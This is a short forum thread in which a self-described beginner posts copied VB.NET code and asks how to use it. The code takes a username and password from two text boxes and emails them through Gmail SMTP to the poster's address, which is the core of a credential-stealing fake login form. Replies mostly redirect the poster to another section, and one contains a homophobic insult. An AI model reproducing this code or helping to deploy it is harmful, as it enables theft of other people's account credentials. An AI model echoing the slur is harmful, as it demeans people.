[HELP!]Code

Posts 1–7 of 7 · Page 1 of 1
[HELP!]Code
I dont know what language this is im just a wee newb learning my PHP over there in the corner. and yes it is leeched i was wondering how to put it to use.

If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Missing")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Any Error You Want Here")
Quote Originally Posted by Hell_Demon View Post
Visual basic = whore language, and instantly makes you gay!
Learn C# way better
i didnt ask if the languiage it was in was gay i asked how to use do i compile is there a program or what i dont know the slightest thing about VB8
Quote Originally Posted by Beex View Post
i didnt ask if the languiage it was in was gay i asked how to use do i compile is there a program or what i dont know the slightest thing about VB8
The point Hell_Demon is getting at is this.

This is the C++ section, the code you pasted was in Visual Basics. We here in C++ dislike anything/all things visual basic.

Sooooo, you won't be getting any help with that code here.
Ctrl+W. Just highlight the code, and press it.
Post this in the VB section, or the PHP/HTML section, please.
It's VB so I will send you there. Bye bye
What do you need it for?

The code is used for sending a email inside of a VB project (software created in VB)

and a few more things, you will not get to far with this code, A. Gmail no longer allows relays and I'm almost 100% sure that port 587 is now blocked by gmail.
Posts 1–7 of 7 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us